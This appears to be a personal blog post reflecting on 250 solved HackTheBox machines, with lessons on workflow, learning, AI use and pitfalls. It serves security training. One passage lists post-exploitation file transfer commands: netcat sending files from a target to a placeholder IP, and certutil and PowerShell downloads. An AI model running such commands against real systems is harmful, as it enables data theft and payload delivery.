250 HackTheBox Pwned

Foreword

I’ve reached a milestone in my HackTheBox journey: hacking 250 boxes. I want to celebrate this milestone by reflecting on the path so far — the learnings, the growth, and the pitfalls.

Here’s what 250 boxes taught me, grouped into themes that naturally emerged along the way.

1. Skill Acceleration Through Repetition

Strong Muscle Memory

Operational efficiency became muscle memory. After a few dozen boxes, speed stops being a conscious effort. You just move. My workflow became incredibly fast and streamlined: tmux layouts, multiple terminals, custom scripts, and automation for repetitive tasks. This muscle memory frees my mind from wasting mental energy on small things like recalling command syntax, letting me focus on what truly matters.

Knife box speedrun

Large Tricks List

Over time I curated a large list of personal hacking tricks, tools, and productivity scripts — the things I found myself needing over and over again. It’s impractical to remember every tool and its flags in detail. Only by doing many boxes repeatedly do you discover the real pain points in your workflow. A large tricks list becomes an invaluable solution. I also learned many alternatives to classical tools. For example, Adalanche as an alternative to BloodHound, Penelope for reverse shells, powerview.py or BloodyAD to classic PowerView.

A few of my favorite file transfer techniques as an example:

nc [-q 0] <ip> <port> < <file> # send from target
nc -lp <port> | pv -s <size> > <file> # recv
pv <file> | nc [-q 0] <ip> <port> # send from host
nc -lp <port> > <file> # recv
sudo python3 -m pyftpdlib --port 21 --write
smbserver.py share -smb2support share -user tester -password Password1@
certutil.exe -urlcache -f http://<IP>/<FILE> <FILE.out>
powershell.exe -c iwr <IP>/<FILE> -outfile <FILE.out>

Enumeration Turned Intuitive

After so many boxes, I developed a sense of what is normal and what is not. I spot weird behaviors and misconfigurations more quickly. It becomes easier to sift through a large trough of noisy data and pull out the useful bits.

Massive Technology Exposure

Across 250 machines, I hit tech stacks I would’ve never touched otherwise. Random protocols, obscure services, forgotten CVEs, weird misconfigurations. I ended up reading documentation, RFCs, and research papers simply to keep up. That exposure built a mental library that becomes immensely useful when facing new challenges.

2. Cognitive & Analytical Growth

Slow Is Fast

When I’m stuck, I intentionally slow down and take time to let everything sink in, then subtle cracks begin to appear. Then I’m able to move deeper. If I hit a wall again, I repeat the same process and move deeper still. This is feeling can be fittingly described as “penetration testing”.

Revshell Rush Fades

At some point, the reverse shell stopped giving me the adrenaline rush it once did. It became expected, like hitting Enter and expecting a browser to load. When that feeling disappeared, I started appreciating the process much more: spotting weaknesses, chaining exploits, mapping logic, proving concepts.

3. Learning Strategies Refined

Understanding Trumps Checklisting

Surface-level understanding fades quickly. Neuroscience backs this up: when you struggle through something and really understand something, you retain it, even for the first time. I learned that every time I rushed through without real understanding, the concept came back to haunt me later.

Writeups Are Not Cheating

It’s well and good to try hard without hints, but beyond a certain threshold it becomes an ego problem that can drag you down tremendously. Think about opportunity cost: that wasted time could be spent learning something far more valuable.

Depending on the box’s difficulty, I set a time limit before checking hints. It keeps me from spiraling into dead ends while still forcing deep thinking. Depending on how you use them, writeups can be cheating or research. It’s just another tool to help you learn.

Frustration Is Good

Neuroscience also backs this up. You learn well and quickly from frustration, especially as an adult. Neuroplasticity relies on frustration — and there’s no shortage of it in hacking. Better to leverage it than avoid it.

Learn Everything

Learning what I hate revealed my weaknesses. Shying away from technologies or tools that you hate is pointless. We don’t have that luxury it in real world engagements. I used to hate Burp when I first started; now I love it. I still hate Java and JMX when they appear… but I understand them much better now. Those uncomfortable areas are indicators of where improvement is needed.

Beyond Root

This idea was popularized by 0xdf: after rooting a box, investigate how it was set up and understand the deeper internals. Study why a vulnerability exists, how the exploit works, how a bot agent is simulated, and what scripts or configurations shaped the box. It’s a good learning opportunity and easy to do so after acquiring the root access.

4. AI as an Accelerator — Not a Replacement

Through 250 boxes, I found AI incredibly helpful, but only in specific ways: Great for explanations, reframing, spinning up codes, brainstorming, and summarising. It’s much less useful when context matters. It becomes dangerous when I offload thinking. My learning stalled when I leaned on it too much. The hard mental work has to be mine. The cap on AI’s effectiveness has always been my own comprehension.

5. Complementing Certification Paths

HTB boxes are a great complement to certification paths like CPTS, CAPE, and CWEE. Even advanced paths like CAPE and CWEE have gaps. Courses give structure, but they can only carry you so far. Beyond that, you need to research on your own and enrich the knowledge framework. For example, CAPE didn’t cover Kerberos relay attacks, boxes like Bruno and VulnCicada helped expand my knowledge in that area.

6. Reflections & Pitfalls

Tunnel Vision

My biggest pitfall has been getting locked into a single idea and digging myself deeper even when evidence doesn’t support it. I’ve learned that tunnel vision usually appears when I feel close to a solution. The trick is recognizing that feeling early and stepping back: re-enumerate, check assumptions, rotate perspectives, and let new possibilities emerge. Hunches and intuition are important, but let critical and logical thinking drive the process.

Ego Try-Hard

Another pitfall has been trying to “do it all myself” for the sake of pride—pushing through without hints just to prove I can. It felt noble at first, but eventually I realized it often just meant wasting time on dead ends and slowing down my growth. There’s no badge for unnecessary suffering. The trick is to set a timeline beforehand and check for hints after that, then continue on.

Overusing AI

Relying on AI too heavily dulled my mind. AI works well as a second brain, but dangerous as a first instinct, which is something you don’t want to outsource. The real growth came when I used AI sparingly, mainly to validate thoughts, brainstorm alternatives, or explain unfamiliar concepts after I had already tried.

Final Thoughts

Pwning machines sharpened my intuition, refined my discipline, expanded my understanding, and gave me a deeper appreciation for the craft. If anything, reaching 250 has shown me how much I don’t know. The most important thing is that consistency reveals things effort alone never will.